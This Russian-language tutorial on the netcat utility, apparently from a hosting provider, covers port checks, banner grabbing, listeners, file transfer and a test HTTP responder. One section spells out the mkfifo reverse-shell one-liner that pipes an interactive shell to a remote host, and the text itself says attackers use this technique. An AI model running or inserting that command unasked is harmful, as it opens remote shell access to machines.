nc — утилита, которую называют «швейцарским ножом TCP/IP». Устанавливать ничего дополнительно не нужно: на большинстве Linux-дистрибутивов она есть из коробки. Читает и пишет данные через сетевые соединения так же просто, как обычные команды работают с файлами.
На практике nc чаще всего используют для трёх вещей: проверить, доступен ли порт на удалённом сервере; поднять временный слушатель для тестирования; передать данные между двумя машинами без лишних инструментов.
GNU netcat и BSD netcat — в чём разница
На серверах встречаются две реализации команды, и они отличаются поведением.
GNU netcat — классическая версия, поддерживает флаг -e для запуска внешней программы при соединении. На большинстве дистрибутивов именно она ставится как netcat.
OpenBSD netcat (ncat) — более современная и безопасная реализация. Флаг -e намеренно убран. Именно она идёт по умолчанию в Ubuntu/Debian как пакет netcat-openbsd, и именно с ней работают большинство примеров в актуальной документации.
Проверить, какая версия установлена:
nc -h 2>&1 | head -3
Если в выводе есть OpenBSD — это BSD-версия. Если GNU или нет метки — GNU netcat.
Установить OpenBSD версию на Ubuntu/Debian:
sudo apt install netcat-openbsd
Синтаксис
nc [опции] хост порт
Для режима прослушивания:
nc -l [опции] порт
Ключевые флаги
| Флаг | Назначение |
|---|---|
-l |
Режим прослушивания (listener) |
-v |
Подробный вывод |
-z |
Режим сканирования — соединяется без отправки данных |
-u |
Использовать UDP вместо TCP |
-n |
Не использовать DNS, работать напрямую с IP |
-w N |
Таймаут соединения в секундах |
-N |
Закрыть соединение при EOF (конце файла) |
-k |
Не завершаться после первого клиента (keep listening) |
-p |
Явно указать порт источника |
-6 |
Использовать IPv6 |
Проверка доступности порта
Самое частое применение на сервере — убедиться, что порт открыт и сервис отвечает. Флаги -vz: -v даёт подробный вывод, -z проверяет соединение без передачи данных.
nc -vz 10.0.0.5 443
Результат «Connection to ... succeeded!» — порт открыт и принимает соединения.
Проверить диапазон портов сразу и отфильтровать только открытые:
nc -vz 10.0.0.5 20-1024 2>&1 | grep succeeded
2>&1 перенаправляет stderr в stdout — важно, потому что nc пишет результаты именно в stderr.
Проверка UDP-порта — флаг -u:
nc -vzu 10.0.0.5 53
Важный нюанс: UDP-порты при сканировании всегда отображаются как открытые, даже если на них никто не слушает — это особенность протокола UDP. Результат «succeeded» для UDP означает только то, что пакет отправлен, но не то, что сервис ответил.
Проверка с таймаутом — полезно в скриптах, чтобы не ждать бесконечно:
nc -vz -w 3 10.0.0.5 3306
echo $?
Код возврата 0 — порт доступен. 1 — нет. Удобно для условий в bash-скриптах: if nc -z -w 3 host port; then ....
Получение баннера сервиса
Когда порт открыт, но нужно понять, что именно на нём висит — nc умеет читать ответ сервиса:
echo "" | nc -w 3 10.0.0.5 22
SSH-сервер отдаст строку вида SSH-2.0-OpenSSH_8.9p1, из которой виден тип и версия. Аналогично работает с HTTP:
printf "HEAD / HTTP/1.0\r\nHost: example.com\r\n\r\n" | nc -w 3 example.com 80
Веб-сервер вернёт заголовки ответа — версию HTTP, тип сервера, статус. Быстрее curl для проверки заголовков без SSL.
Прослушивание порта
Режим слушателя запускается флагом -l. Полезен для тестирования: можно убедиться, что приложение действительно достучивается до нужного адреса и порта.
nc -lvnp 8080
-l — слушать, -v — подробный вывод, -n — без DNS, -p — указать порт явно (нужно для некоторых версий nc).
После запуска nc ждёт входящего подключения. Когда кто-то подключится — всё, что пишет клиент, появится в терминале, и наоборот.
Чтобы слушатель не завершался после первого клиента — флаг -k:
nc -lvnkp 8080
Без -k nc завершится сразу после того, как клиент отключится. С -k продолжит слушать. Удобно для длительного тестирования.
Передача файлов между серверами
Прямая передача без scp, rsync и прочего — бывает нужна, когда инструментов под рукой нет или нет настроенного SSH между машинами.
На принимающей стороне запустить слушатель с перенаправлением вывода в файл:
nc -lvnp 9000 > received_file.tar.gz
На отправляющей стороне передать файл:
nc -N 10.0.0.10 9000 < backup.tar.gz
Флаг -N закрывает соединение после достижения конца файла — без него nc будет ждать и соединение придётся закрывать вручную.
Важна последовательность: сначала запустить слушатель, только потом отправлять. Иначе отправляющая сторона получит «Connection refused».
Передача с прогрессом через pv:
nc -lvnp 9000 | pv > received_file.tar.gz
Если pv установлен, он покажет скорость и прогресс приёма.
Тест пропускной способности между двумя серверами
Быстрая проверка скорости сети без iperf:
Сервер (принимающая сторона):
nc -lvnp 9000 > /dev/null
Клиент (отправляющая сторона):
dd if=/dev/zero bs=1M count=500 | nc -N 10.0.0.10 9000
dd генерирует 500 МБ нулей и передаёт их через nc. По времени выполнения dd выдаст скорость передачи. Не заменяет iperf, но когда его нет — работает.
Простейший HTTP-ответ для тестирования
Иногда нужно быстро проверить, что клиент вообще может достучаться до сервера по HTTP — без nginx, Apache и настройки виртуальных хостов:
while true; do
echo -e "HTTP/1.1 200 OK\r\nContent-Type: text/plain\r\n\r\nOK" | nc -w 1 -lvnp 8080
done
Браузер или curl на адрес сервера получат ответ «OK». В терминале слушателя будет виден полный HTTP-запрос от клиента — метод, заголовки, путь. Полезно для отладки приложений, которые делают HTTP-запросы к внешним сервисам.
Удалённый доступ к оболочке через именованный канал
Флаг -e в современном OpenBSD netcat убран из соображений безопасности, но обходной путь через именованный канал mkfifo всё равно работает:
На принимающей машине (где хотим получить доступ):
nc -lvnp 8080
На машине, к которой нужен доступ:
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | sh -i 2>&1 | nc 10.0.0.5 8080 > /tmp/f
Цепочка работает так: mkfifo создаёт именованный канал, cat читает из него, sh -i выполняет команды, вывод идёт через nc обратно, а ответы возвращаются в канал.
Это один из легитимных способов получить доступ к машине, если SSH недоступен, но есть сетевое соединение. Одновременно это техника, которую используют при атаках — важно понимать, как это работает, чтобы правильно настраивать firewall: входящие соединения на нестандартные порты должны быть закрыты по умолчанию.
Диагностика: частые ошибки
Connection refused — порт закрыт или сервис не запущен. Проверить статус сервиса: systemctl status <service>.
Connection timed out — порт блокируется firewall, пакеты не доходят. Отличается от "refused" тем, что нет явного отказа — nc просто ждёт до истечения таймаута.
Address already in use — при попытке прослушивать порт, который уже занят другим процессом. Найти, кто занял: ss -tlnp | grep :8080.
nc: invalid option — несовместимость между GNU и OpenBSD версией. Некоторые флаги (например, -p в режиме слушателя) работают по-разному.
Шпаргалка
| Задача | Команда |
|---|---|
| Проверить TCP-порт | nc -vz хост порт |
| Проверить диапазон портов | nc -vz хост 1-1000 2>&1 | grep succeeded |
| Проверить UDP-порт | nc -vzu хост порт |
| Проверить с таймаутом | nc -vz -w 3 хост порт |
| Получить баннер | echo "" | nc -w 3 хост порт |
| Слушать порт | nc -lvnp порт |
| Слушать непрерывно | nc -lvnkp порт |
| Принять файл | nc -lvnp порт > файл |
| Отправить файл | nc -N хост порт < файл |
| Тест HTTP | while true; do echo -e "HTTP/1.1 200 OK\r\n\r\nOK" | nc -w 1 -lvnp 8080; done |
Итог
nc незаменим для быстрой диагностики сети: проверить порт, посмотреть баннер, передать файл или протестировать HTTP без лишних инструментов. Главное — понимать разницу между GNU и OpenBSD реализациями: часть флагов и поведение отличаются.
Подобрать VPS для тестирования сетевых сценариев можно в каталоге PQ.Hosting — серверы доступны в 40+ локациях.